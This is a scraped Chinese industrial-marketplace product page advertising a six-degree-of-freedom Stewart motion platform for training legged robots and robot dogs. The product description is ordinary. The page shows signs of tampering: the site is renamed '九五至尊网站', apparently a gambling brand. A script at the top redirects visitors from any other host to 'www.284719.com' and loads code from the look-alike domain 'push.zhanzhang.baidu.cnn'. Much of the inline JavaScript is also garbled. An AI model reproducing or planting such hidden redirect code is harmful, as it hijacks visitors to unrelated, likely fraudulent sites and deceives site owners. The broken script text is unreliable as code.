else { bp.src = 'http://push.zhanzhang.baidu.cnn/push.js'; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); )(); if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) { location.href = location.href.replace(document.location.host, 'www.284719.com'); 六自由度运动平台机器人机器狗辅助训练-九五至尊网站 function isNull(_sVal){ return (_sVal === "" || _sVal == null || _sVal == "undefined"); )(); var sAdClassIDs=""; sAdClassIDs="ybzhan;,6371,6382,6453"; function showCompanyInfo() { Vivian.ReCompanyInfoToContact(178969, function (obj) { var c = eval('data=' + obj.value); jQuery("#ddTelPhone").html(c.TelPhone); jQuery("#ddMan").html(c.LinkMan); jQuery("#ddFax").html(c.Fax); jQuery("#ddMobilePhone").html(c.MobilePhone); );

九五至尊网站

服务咨询
, function() { $(this).children(".siteNavBox1").stop(true).slideUp(); $(this).children(".siteNav1").removeClass('hover'); ); $(".Tophead ul li").hover(function() { $(this).children(".ServiceTop1").addClass('hover'); $(this).children(".ServiceBot").show(); , function() { $(this).children(".ServiceBot").stop(true).hide(); $(this).children(".ServiceTop1").removeClass('hover'); );

产品求购企业资讯会展供应

全网搜索 发布询价单
九五至尊网站>产品库>系统集成及工控>运动控制>伺服系统>六自由度运动平台机器人机器狗辅助训练
  • 六自由度运动平台机器人机器狗辅助训练

六自由度运动平台机器人机器狗辅助训练

参考价
98000-198000/套
具体成交价以合同协议为准
  • 型号
  • 品牌其他品牌
  • 所在地南京市
  • 更新时间2026-07-09
  • 厂商性质生产厂家
  • 所在地区南京市
  • 实名认证已认证
  • 产品数量37
  • 人气值128
客服在线 索取相关资料 在线询价

联系方式:张经理 查看联系方式

联系我们时请说明是 九五至尊网站 上看到的信息,谢谢!

同类产品

南京拓维运动科技有限公司专注于Stewart六自由度并联平台研发、制造与服务的专业技术团队。依托南京航空航天大学深厚科研积累,由南航教授团队提供核心技术支撑,核心团队深耕行业十余年,主导交付上海交通大学、东南大学、浙江大学、南京航空航天大学、南京理工大学、中移(上海)信息通信科技有限公司等三百余项目,拥有成熟的机构设计、伺服控制与系统集成能力。

产品覆盖六自由度运动平台、驾驶模拟平台、车辆性能测试台、船舶六自由度摇摆台、耐久性试验台、飞行模拟平台、振动模拟平台、光学调校测试平台、地震模拟体验平台、5D 动感影院平台等全系列装备,广泛应用于工业仿真测试、科研实验、文旅体验、教学实训等领域。

依托的运动控制算法与深厚的项目实施经验,拓维运动科技为汽车、航空航天、科研院所、教育机构及主题文旅行业提供稳定可靠、高度定制化的动态模拟核心装备,致力于成为客户值得信赖的运动模拟技术合作伙伴。

 

点击展示更多内容
产地国产 加工定制
南京拓维运动科技推出机器人、机器狗辅助训练专用六自由度运动平台,采用并联机构设计,参数配置,可模拟多类路面扰动工况,适用于步态调试、性能测试、科研教学等场景,支持非标定制。
六自由度运动平台机器人机器狗辅助训练 产品详情

六自由度机器人训练平台:标准化动态仿真,破解机器人研发测试行业瓶颈

一、行业背景与核心痛点

随着足式巡检机器人、特种作业机器人、移动服务机器人、工业移动机器人规模化落地,机器人步态算法、姿态控制、环境自适应能力成为产品商用化核心考核指标。当前行业普遍采用户外实地测试方案开展机器人训练,存在多重难以规避的痛点:

1. 场景受限,工况无法复现:实地测试受天气、场地、路面条件约束,斜坡、颠簸、侧倾、海浪扰动等复杂动态工况难以稳定复刻,同一测试条件无法重复开展对比实验,算法迭代缺乏统一基准;

2. 测试成本高、样机损耗严重:反复户外高强度训练会加速机器人关节、减速器、传感器磨损,样机维修、更换成本高昂,中小型研发团队试错压力大;

3. 训练周期冗长,研发效率偏低:单次实地测试筹备、场地协调、数据采集耗时久,无法实现 7×24 小时不间断标准化训练,拖慢产品上市节奏;

4. 动态控制数据采集难度大:自然环境干扰项过多,扰动变量不可控,难以精准分离机器人自身姿态误差与外部环境扰动,算法调参效率低。

针对以上行业难题,南京拓维运动科技作为专业定制平台厂家,自主研发 TW6 系列六自由度机器人训练平台,依托成熟 Stewart 并联机构技术,在实验室室内搭建可控、可复现、全参数可调的动态仿真环境,一站式完成各类机器人姿态适配、步态优化、抗扰动训练与可靠性验证,从硬件底层解决机器人研发测试全流程痛点。

二、机器人训练平台核心技术架构与工作原理

拓维 TW6 机器人训练平台采用经典Stewart 六自由度并联机构核心架构,整体由固定静基座、承载动平台、六组伺服驱动支链、高精度万向球铰、全闭环伺服控制系统组成闭环刚性结构,相比串联机构具备高刚度、高同步精度、动态响应快、无累积误差等核心优势。

工作流程

1. 将待训练机器人整机固定于动平台台面,接入平台控制系统与机器人上位仿真软件;

2. 系统通过运动学逆解实时解算六组伺服支链伸缩量,同步驱动台面输出俯仰、横滚、偏航三轴旋转,搭配纵移、横移、升降三轴直线位移;

3. 平台输出复合动态扰动,模拟碎石路、陡坡、船体晃动、车载颠簸、侧滑偏移等全场景复杂工况,迫使机器人实时完成重心补偿、步态调整、姿态纠偏;

4. 系统同步采集平台运动数据与机器人传感、运动参数,完成数据同步记录、回放与分析,支撑机器人控制算法迭代优化。

平台内置自研专业洗出算法,可在有限行程内还原大加速度动态体感,有效规避运动超限问题;全闭环伺服控制实现毫秒级姿态响应,伺服环运行稳定,满足高频次、长时间连续机器人训练需求。

三、产品关键参数与核心性能指标

基础参数表

项目

规格参数

产品型号

TW6(支持全工况定制改型)

载荷覆盖

1kg~50 吨,按机器人自重、训练负载非标匹配

设备自重

随型号、承载配置差异化定制

安装尺寸

台面长宽、基座尺寸支持非标定制,适配实验室、产线、实训中心有限空间

工作温度

-20℃ ~ 70℃,适配高低温实验室全天候训练

六自由度运动性能指标

运动维度

可调行程范围

俯仰角度

±5°~±45° 自定义可调

横滚角度

±5°~±45° 自定义可调

偏航角度

±5°~±45° 自定义可调

纵移(前后)

±10mm ~ ±1000mm 按需配置

横移(左右)

±10mm ~ ±1000mm 按需配置

升降(上下)

±10mm ~ ±1000mm 按需配置

平台支持单自由度独立运动、多自由度复合联动,可自由组合倾斜、颠簸、偏移、升降等运动轨迹,适配轻量化人形机器人、大负载巡检机器狗、重载移动工业机器人等不同机型训练需求。

四、电气规格与软件控制系统

1. 电气硬件规格

供电电源:兼容 AC220V/AC380V 双制式,适配实验室与工业厂房供电标准;

通讯接口:千兆以太网 EtherCATUSB3.0RS485 工业总线,多通道并行数据传输;

控制频率:伺服环 1000Hz,姿态环 200Hz,动态响应 50ms,同步控制无滞后;

安全防护:安全等级 PLd/Cat.3,集成过载、漏电、行程超限多重联锁保护,机器人训练过程中设备故障自动停机,保障样机与操作人员安全。

2. 配套软件系统规格

1. 通讯协议兼容:原生支持 EtherCATUDPTCP/IPUSB 串行多类工业通讯协议,可无缝对接机器人主控;

2. 多仿真软件适配:兼容 X-PlaneP3DiRacingCarSimPrescanMATLAB/Simulink 等主流仿真平台,支持机器人半实物联合仿真训练;

3. 专属运动控制软件:拓维自研六自由度运动控制软件,内置专业洗出算法,支持体感强度、运动幅度、扰动频率可视化自定义调节;

4. 开放开发能力:全面开放 API/SDK 接口,支持用户二次开发、自定义训练工况、批量自动化测试;

5. 数据管理功能:全程记录运动轨迹、姿态参数、机器人运行日志,支持离线回放、数据导出与对比分析,为机器人算法迭代提供完整数据支撑。

五、机器人训练平台典型应用场景与产业价值

1. 足式人形 / 机器狗研发训练

面向安防巡检、应急搜救、物流转运机器人,模拟野外崎岖路面、坡道侧倾、持续颠簸、船体晃动等动态环境,开展步态平衡算法训练、落地稳定性测试、扰动姿态补偿训练,无需户外实地测试,大幅降低样机损耗,缩短研发周期 30% 以上。

2. 车载移动工业机器人可靠性验证

针对 AGV、车载巡检机器人、工程机械搭载机器人,模拟车辆加速、制动、转向、路面颠簸、侧滑偏移工况,测试机器人视觉识别、抓取定位、自主导航在动态扰动下的精度稳定性,实现零部件耐久与控制算法同步验证。

3. 高校机器人专业教学实训

高校自动化、机器人工程专业实验室标配设备,用于六自由度运动学教学、机器人动力学仿真、半实物联合仿真实训,标准化训练工况统一教学基准,降低实体机器人实训损耗,支撑课程实验、毕业设计与学科竞赛。

4. 特种机器人标准化可靠性检测

应急特种机器人第三方检测机构使用,搭建可复现、可量化的标准化动态测试环境,完成机器人抗干扰、姿态容错、连续作业可靠性检测,检测数据具备可追溯性,满足产品验收、资质认证需求。

核心应用价值

1. 降本增效:室内全天候自动化训练,减少户外场地、样机损耗、人力测试投入,压缩机器人研发迭代周期;

2. 工况标准化:所有扰动参数可量化、可存储、可重复调用,建立统一测试基准,算法对比数据具备高参考价值;

3. 全流程数据闭环:硬件动态扰动 + 机器人运行数据同步采集,打通仿真建模、实物训练、算法优化全链路;

4. 高度定制适配:载荷、行程、台面尺寸、控制逻辑按需非标开发,适配从小型人形机器人到数十吨重载特种机器人全品类训练需求。

六、品牌总结:南京拓维运动科技,定制化机器人训练平台

南京拓维运动科技深耕六自由度并联运动平台研发制造,是国内具备完整机械结构、伺服驱动、运动解算算法、配套软件全链路自研能力的定制平台厂家。旗下 TW6 系列机器人训练平台严格遵循工业级设计标准,参数透明、无虚标,电气安全、控制精度、软件开放性均满足科研、工业检测、高校实训严苛要求。

依托标准化硬件架构与灵活定制服务,拓维机器人训练平台已服务机器人研发企业、高校实验室、第三方检测机构等多类客户,持续为机器人行业提供可控、可靠、智能化的动态仿真训练解决方案,助力行业实现机器人研发测试标准化、迭代流程智能化,推动国产机器人技术快速落地商用。

 


热门产品
产品名称参考价地区公司名称更新时间 
伺服驱动器 ¥0.99 上海市 上海一朔电气科技有限公司 2026-07-15 在线询价
PARKER伺服阀PHT-B512ESDB57 220V ¥100 上海市 上海乾拓贸易有限公司 2026-07-11 在线询价
智能专家自整定伺服调节器 面议 上海市 上海毅碧自动化仪表有限公司 2026-06-13 在线询价
TS810系列纺织伺服驱动器-伺服系统 面议 深圳市 深圳市汇川技术股份有限公司 2026-06-08 在线询价
西门子S120整流单元报F30005过载模块坏维修 ¥800 上海市 上海涌迪工业自动化有限公司 2026-05-27 在线询价
智能电动(伺服)操作器 面议 滁州市 安徽美克斯自动化仪表有限公司 2026-05-08 在线询价
免责申明

所展示的信息由会员自行提供,内容的真实性、准确性和合法性由发布会员负责,九五至尊网站对此不承担任何责任。九五至尊网站不涉及用户间因交易而产生的法律关系及法律纠纷,纠纷由您自行协商解决

友情提醒 :本网站仅作为用户寻找交易对象,就货物和服务的交易进行协商,以及获取各类与贸易相关的服务信息的平台。为避免产生购买风险,建议您在购买相关产品前务必确认供应商资质及产品质量。过低的价格、夸张的描述、私人银行账户等都有可能是虚假信息,请采购商谨慎对待,谨防欺诈,对于任何付款行为请您慎重抉择!如您遇到欺诈等不诚信行为,请您立即与九五至尊网站联系,如查证属实,九五至尊网站会对该企业商铺做注销处理,但九五至尊网站不对您因此造成的损失承担责任!

(function () { var adma27 = document.createElement("script"); adma27.type = "text/javascript"; adma27.async = true; adma27.src = "https://yxb.xwboo.com/Advert/GetInfoByJS?ID=Advs27&AdClassIDs=" + sAdClassIDs; var ss27 = document.getElementsByTagName("script")[0]; ss27.parentNode.insertBefore(adma27, ss27); )();
关于我们|网站导航|本站服务|会员服务|网站建设|特色服务|旗下网站|友情链接|在线投诉|兴旺通|供应信息

九五至尊网站-仪器仪表行业“互联网+”服务平台

@ 2026 九五至尊网站 ybzhan.cn All Rights Reserved法律顾问:浙江天册律师事务所 贾熙明律师ICP备案号:浙B2-20100369-24

客服热线:0571-87756399,87759942加盟热线:0571-87756399展会合作:0571-87759945客服邮箱:873582202@qq.com 投稿邮箱:ybzhan@qq.com

网站客服:服务咨询:对外合作:仪表采购群: 仪表技术群:

版权所有©浙江兴旺宝明通网络有限公司


提示

×

*您想获取产品的资料:

以上可多选,勾选其他,可自行输入要求

个人信息:

) $('.getInfo li i').click(function(){ $(this).parent().toggleClass('checked'); $("#otherHelp").removeAttr("readonly","") if($(this).attr("value")=="otherli" && $(this).parent().hasClass("checked")==false) { $("#otherHelp").val(''); $("#otherHelp").attr("readonly","readonly") ) $('.promptMessage_title .close').click(function(){ $('.promptMessage_Bg').hide(); $('.promptMessage').hide(); ) //提交方法 var btnOK=true;//防止重复点击 function submitProductsMessage() { if(btnOK==false) {return; var cid = jQuery.trim(jQuery("#txtCompanyID").val()); var proID = jQuery.trim(jQuery("#txtProID").val()); if (cid == null || cid == "" || cid == "0" || proID == null || proID == "" || proID == "0") { alert("无此公司,ID错误。"); return; var ranNum ="";// jQuery.trim(jQuery("#ranNum").val()); // var detail=jQuery.trim(jQuery("#detail_"+ranNum).val()); // var title=jQuery.trim(jQuery("#title_"+ranNum).val()); var detail = ""; var title = ""; var linkMan = jQuery.trim(jQuery("#linkMan").val()); var companyName = jQuery.trim(jQuery("#companyName").val()); var tel = jQuery.trim(jQuery("#tel" ).val()); var email = jQuery.trim(jQuery("#email" ).val()); //var valCode = jQuery.trim(jQuery("#valCode").val()); var addr = "";//jQuery.trim(jQuery("#addr_" + ranNum).val()); /* if(type=="1"&&(title==""||title=="请输入你感兴趣的产品")) { showError(jQuery("#title_"+ranNum),"请输入留言主题",type); return; */ if (linkMan == "") { jQuery("#linkMan" ).focus(); alert("请填写您的姓名"); return; if (tel == "") { jQuery("#tel" ).focus(); alert("请填写联系电话"); return; else { var tel = document.getElementById('tel' ).value; if (!/^(\(\d{3,4 \)|\d{3,4 -|\s)?\d{7,14 $/.test(tel)) { alert('固定电话有误,请重填'); return false; if (email != "") { if (!IsEmail(email)) { alert('Email格式有误,请重填'); return false; var _issendbuy = ""; var valCode=""; var _SelRevHelp=""; var otherHelp=""; var ULa = document.getElementById("ProvidesHelp");   var lia = ULa.getElementsByTagName("li");   for(var i=0;i ; otherHelp=jQuery("#otherHelp").val(); if(otherHelp!="") { _SelRevHelp=_SelRevHelp+otherHelp if(_SelRevHelp==""){ alert("请选择您想获取产品的资料"); return; var thisURL=window.parent.window.location.href; btnOK=false; jQuery(".promptMessage button").text("提交中..."); Vivian.SendProductsMessage(cid, title, proID, linkMan, companyName, tel, email, detail, addr, _issendbuy, valCode,_SelRevHelp,thisURL,SendProductsMessageCallBack).value; function SendProductsMessageCallBack(obj) { btnOK=true; jQuery(".promptMessage button").text("提交"); var _site = window.location.host; var cid = jQuery.trim(jQuery("#txtCompanyID").val()); var proID = jQuery.trim(jQuery("#txtProID" ).val()); if (cid == null || cid == "" || cid == "0" || proID == null || proID == "" || proID == "0") { alert("无此公司,ID错误!"); return; // var getStandDomain = AjaxClass.GetStandDomain(cid).value; // Boxy.hide(); jsonStr = obj.value; var jsonobj = eval("rrr=" + jsonStr); if (jsonobj.Detail) { switch (jsonobj.Detail[0].Success) { case "-1": alert("验证码失效!请点击验证码进行刷新操作!"); break; case "-5": alert("很抱歉,您的信息包含了非法字符(" + jsonobj.Detail[0].DirtyWords + "),请修改!"); break; case "-10": alert("留言成功,邮件发送失败!"); break; case "10": alert("留言成功!"); $('.promptMessage_Bg').hide(); $('.promptMessage').hide(); jQuery("#linkMan").val(''); jQuery("#companyName").val(''); jQuery("#tel" ).val(''); jQuery("#email" ).val(''); jQuery("#ProvidesHelp li").removeClass("checked") jQuery("#otherHelp").val(''); break; case "1": alert("留言成功!"); $('.promptMessage_Bg').hide(); $('.promptMessage').hide(); jQuery("#linkMan").val(''); jQuery("#companyName").val(''); jQuery("#tel" ).val(''); jQuery("#email" ).val(''); jQuery("#ProvidesHelp li").removeClass("checked") jQuery("#otherHelp").val(''); break; case "-2016001": alert("失败!您发送信息太过频繁!"); break; case "-2016002": alert("失败!由于您曾频繁发送IP已经被封锁!"); break; default: alert("数据写入失败!"); break; function IsEmail(s) { var patrn = /^[\w-]+(\.[\w-]+)*@[\w-]+(\.[\w-]+)+$/; if (!patrn.exec(s)) return false else return true function IstrueName(s) { var patrn = /[():;“”‘’,。?《》{ 【】、!~,;!()]+/; if (patrn.exec(s)) return false else return true function IsTel(s) { var patrn = /^[ /0-9-/u9fa5]*$/; ///^(\(\d{3,4 \)|\d{3,4 -)?\d{7,8 $/; if (!patrn.exec(s)) return false else return true jQuery(document).ready(function () { ProductDetailToCommentList("1", "3"); ); var CountIndex = 0; function ProductDetailToCommentList(pageindex, pagesize) { var PID = "17008243"; var strObj = Vivian.ReProductDetailToCommentList(PID, pageindex, pagesize).value; var jsonObj = eval("d=" + strObj); var html = ""; if (jsonObj.Detail.length > 0) { for (var i = 0; i < jsonObj.Detail.length; i++) { var Tclass = ""; var Tname = ""; if (jsonObj.Detail[i].Type == "1") { Tclass = "good"; Tname = "好评"; else if (jsonObj.Detail[i].Type == "2") { Tclass = "middle"; Tname = "中评"; else if (jsonObj.Detail[i].Type == "3") { Tclass = "bad"; Tname = "差评"; html += "" + jsonObj.Detail[i].CreateTime + "\ " + Tname + "\ " + jsonObj.Detail[i].CommentDetail + "\ " + jsonObj.Detail[i].CommentName + "\ " + jsonObj.Detail[i].IP + "" CountIndex = jsonObj.PageCount; jQuery("#CurrentSize").html(pageindex);//当前页面页数 jQuery("#Counts").html(jsonObj.Counts); //总条数 jQuery("#CurrentCount").html(jsonObj.Detail.length);//当前页数据条数 jQuery("#ProductComment").html(html);//填充数据 else { jQuery(".tcontent").hide();//隐藏数据表格 jQuery(".pages").hide();//隐藏分页列表 jQuery(".null").show();//显示暂无评论 function AddProductDetailToComment() { var PID = "17008243"; var Type = jQuery(':radio[name="InvoiceType"]:checked').val(); var CommentDetail = jQuery("#CommentDetail").val(); var anonymous = "0"; var AclassName = document.getElementById("anonymous").className; var CommentName = ""; if (AclassName == "checked") { CommentName = "1"; if (Type == "0" || Type == "" || Type == null) { dialog.alert("请选择评价类型"); return; if (CommentDetail == "") { dialog.alert("请输入评价内容"); return false; if(CommentDetail.length>100) { dialog.alert("评价内容长度不能超过100字!"); return false; var strObj = Vivian.AddProductDetailToComment(PID, Type, CommentDetail, CommentName).value; var jsonObj = eval("d=" + strObj); if (jsonObj.Detail) { if (jsonObj.Detail[0].Success > 0) { dialog.alert("评价成功!",location.reload()); var currpage = 1; //上一页 function prevPage() { if (currpage!=1) { currpage = currpage - 1; ProductDetailToCommentList(currpage, "3"); function NextPage() { if (currpage < CountIndex) { currpage = currpage + 1; ProductDetailToCommentList(currpage, "3"); $(".anonymous span a").click(function() { $(this).toggleClass("checked"); ); if (isLiveCompProArr('17008243')) { jQuery('.comBtn').removeAttr("onclick"); jQuery('.comBtn').attr('class', 'clicked'); Vivian.UpdateBrandHappiness('0') //不同显示 var time_range = function (beginTime, endTime, nowTime) { var strb = beginTime.split (":"); if (strb.length != 2) { return false; var stre = endTime.split (":"); if (stre.length != 2) { return false; var strn = nowTime.split (":"); if (stre.length != 2) { return false; var b = new Date (); var e = new Date (); var n = new Date (); b.setHours (strb[0]); b.setMinutes (strb[1]); e.setHours (stre[0]); e.setMinutes (stre[1]); n.setHours (strn[0]); n.setMinutes (strn[1]); if (n.getTime () - b.getTime () > 0 && n.getTime () - e.getTime () < 0) { return true; else { //alert ("当前时间是:" + n.getHours () + ":" + n.getMinutes () + ",不在该时间范围内!"); return false; var _checkfreecontactus=false; _checkfreecontactus=true; else { $(this).find("img").elevateZoom({ zoomWindowFadeIn: 500, zoomWindowFadeOut: 500 ); ) function openOrderBox() { if(jQuery("#KFCenterScreen").length > 0 && !jQuery("#KFCenterScreen").is(':hidden')){ jQuery("#KFCenterScreen .accept").click(); jQuery("#KFCenterScreen .Open-Xwt").click(); else if (jQuery("#KFRightScreen a").length > 0) { ChatBoxClick(); else if (jQuery(".Xwt").length > 0 && jQuery(".OnlineBtn").length > 0) { ChatBoxClick(); else { $("#view-tip").show(); return false;
温馨提示

该企业已关闭在线交流功能

jQuery(document).ready(function () { ClassKeyWordAutocomplete("keys"); ); function ClearFristInfo(clint, info, stype) { if (stype == 1) { if (document.getElementById(clint).value == info) { document.getElementById(clint).value = ''; else if (document.getElementById(clint).value == "") document.getElementById(clint).value = info; function ChktxtDetail() { var txtdetail_ = jQuery.trim(jQuery("#txtDetail").val()); //console.log(txtdetail_) // currObj = jQuery("#txtDetail"); if (txtdetail_.length != 0 && txtdetail_ != '请简单描述您的需求,限200字') { return true; else { //alert("请简单描述"); //jQuery("#txtDetail").focus(); return false; //显示公司联系人 var _issendcontact=true; function ShowCompanyContact(Cid) { jQuery("#viewcodeimg").attr('src','/ValidCode.aspx?type=viewcontact&v='+Math.random()); jQuery("#view-contact").show(); var href = window.location.href; var json = Vivian.InsertClickCompanyLink(Cid, href).value; function IsTel(s) { var patrn = /^[ /0-9-/u9fa5]*$/; ///^(\(\d{3,4 \)|\d{3,4 -)?\d{7,8 $/; if (!patrn.exec(s)) return false; else return true; //通用查看联系发送信息 function SendCompanyContactMessage(cid) { //$(".Wrong").hide(); jQuery(".view-btn button").text("提交中..."); if(_issendcontact==false) { return; _issendcontact=false; //var cid = .trim($("#cid").val()); if (cid == null || cid == "" || cid == "0") { alert("提示", "", "无此公司,ID错误!"); location.reload(); return; var _typename=""; var _ordertype="0"; var _orderflag=jQuery('input:radio[name="consultType"]:checked').val(); if(_orderflag=="1"){_typename="询价产品"; else if(_orderflag=="2"){_typename="售后服务"; var title =document.getElementById("viewtitle").value; //var detail = title + _typename; var detail = jQuery.trim(jQuery("#view-txtDetail").val()); var linkMan = document.getElementById("viewlinkname").value; // jQuery("#viewlinkname" ).val(); var companyName =jQuery.trim(jQuery("#viewcompanyname" ).val()); var tel = document.getElementById("viewtel").value; //jQuery("#viewtel").val(); var email =""; var proID = document.getElementById("viewpid").value; //jQuery("#viewpid").val(); var _valCode =jQuery.trim( document.getElementById("viewcontactcode").value); //jQuery("#viewcontactcode").val(); var addr =""; var IsNoSend = jQuery('input:radio[name="isnosend4"]:checked').val(); if (typeof (IsNoSend) == "undefined") { IsNoSend = "0";//默认不转发 if(document.getElementById("getInfo")!=null) { if(document.getElementById("getInfo").checked==false) { IsNoSend = "0"; var WXTel = ""; var codename="viewcontact"; var PvcID = "0"; var _url=location.href; var touserid=""; if (detail == "" || detail == "请简单描述您的需求,限200字") { _issendcontact=true; jQuery(".view-btn button").text("提交信息"); alert("请先描述您的需求"); return; else if (detail.length > 200) { _issendcontact=true; jQuery(".view-btn button").text("提交信息"); alert("描述请控制在200字以内"); return; //包含 http 或https 或.com .cn .net .php,.asp,.jsp 的 提示 if (detail.length > 0) { var tempInqContent=detail.toLowerCase(); if ( tempInqContent.indexOf("http")>-1 || tempInqContent.indexOf("https")>-1 || tempInqContent.indexOf(".com")>-1 || tempInqContent.indexOf(".cn")>-1|| tempInqContent.indexOf(".net")>-1|| tempInqContent.indexOf(".php")>-1|| tempInqContent.indexOf(".asp")>-1|| tempInqContent.indexOf(".jsp")>-1) { _issendcontact=true; jQuery(".view-btn button").text("提交信息"); alert("留言信息中请勿包含网址,请修改后再次提交。"); // showInputWrong(jq("#viewtitle"), "留言信息中请勿包含网址,请修改后再次提交。"); return; if(location.href.indexOf("zyzhan")>-1 || location.href.indexOf("chem17")>-1) { if (companyName == "" || companyName == "您的单位...") { _issendcontact=true; jQuery(".view-btn button").text("提交信息"); alert("请填写您的单位"); //showInputWrong($("#viewcompanyname"), "请填写您的单位"); return; if (linkMan == "" || linkMan == "您的姓名...") { _issendcontact=true; jQuery(".view-btn button").text("提交信息"); alert("请填写您的姓名"); jQuery("#viewlinkname").focus(); return; if (tel == "" || tel == "固定电话或手机...") { _issendcontact=true; jQuery(".view-btn button").text("提交信息"); alert("请填写联系电话"); jQuery("#viewtel").focus(); return; else { if (!IsTel(tel)) { _issendcontact=true; jQuery(".view-btn button").text("提交信息"); alert("联系电话输入错误"); jQuery("#viewtel").focus(); return; if (_valCode == "") { _issendcontact=true; jQuery(".view-btn button").text("提交信息"); alert("请填写验证码"); jQuery("#viewcontactcode").focus(); return; var otherInfo = ""; var isMember = "0"; var answerDate = ""; var strSex = ""; var strIndustrys = ""; var strPvc = ""; if(title=="") { title=detail; if(detail.length>25) { title=detail.substring(0,25)+"......"; Vivian.NewNewSendMsgOnlySaveNoSendMeg(cid,title, proID, linkMan,companyName,tel, email,detail, addr,_valCode, PvcID, _ordertype,codename, IsNoSend,"","",_orderflag,SendCompanyContactMessageCallBack); function SendCompanyContactMessageCallBack(obj) { _issendcontact=true; jQuery(".view-btn button").text("提交信息"); var result = obj.value; try { var jobj = eval("data=" + result); if (jobj.Detail[0].Success) {//第一步存入数据库成功 var NewOrderID = jobj.Detail[0].Success; if (NewOrderID >0) { Vivian.SendMsgOnlySaveNoSendMeg_CallBackToSend(NewOrderID, function() { return false; ); jQuery("#view-contact").hide(); // jQuery("#view-contact-success").show(); //alert("您的留言已提交成功!我们将在第一时间回复您~"); jQuery("#viewcompanyname").val(''); jQuery("#viewlinkname").val(''); jQuery("#viewtel").val(''); jQuery("#viewcontactcode").val(''); var man=jQuery("#viewlinkname").val(''); var _proid=jQuery("#viewpid").val(); if(location.href.indexOf("sale")>-1) Vivian.ReCompanyMobileBySID(_proid,GetMobileCallBack); else Vivian.ReCompanyMobileByPID(_proid,GetMobileCallBack); else { switch (NewOrderID) { case -1: alert("验证码失效!请点击验证码进行刷新操作!"); break; case -5: alert("很抱歉,您的信息包含了非法字符(" + jsonobj.Detail[0].DirtyWords + "),请修改!"); break; case -10: alert("留言成功,邮件发送失败!"); break; case -11: alert("留言信息中请勿包含网址,请修改后再次提交!"); break; case -2016001: alert("失败!您发送信息太过频繁!"); break; case -2016002: alert("失败!由于您曾频繁发送IP已经被封锁!"); break; default: alert("数据写入失败"); break; else { alert("留言失败"); catch (ex) { alert("留言失败。"); jQuery("#viewcodeimg").attr('src','/ValidCode.aspx?type=viewcontact&v='+Math.random()); function GetMobileCallBack(obj) { jQuery("#view-contact-success").show(); var result = obj.value; if(result!=null && result!="") jQuery("#viewcontentmobile").html(result); document.write("")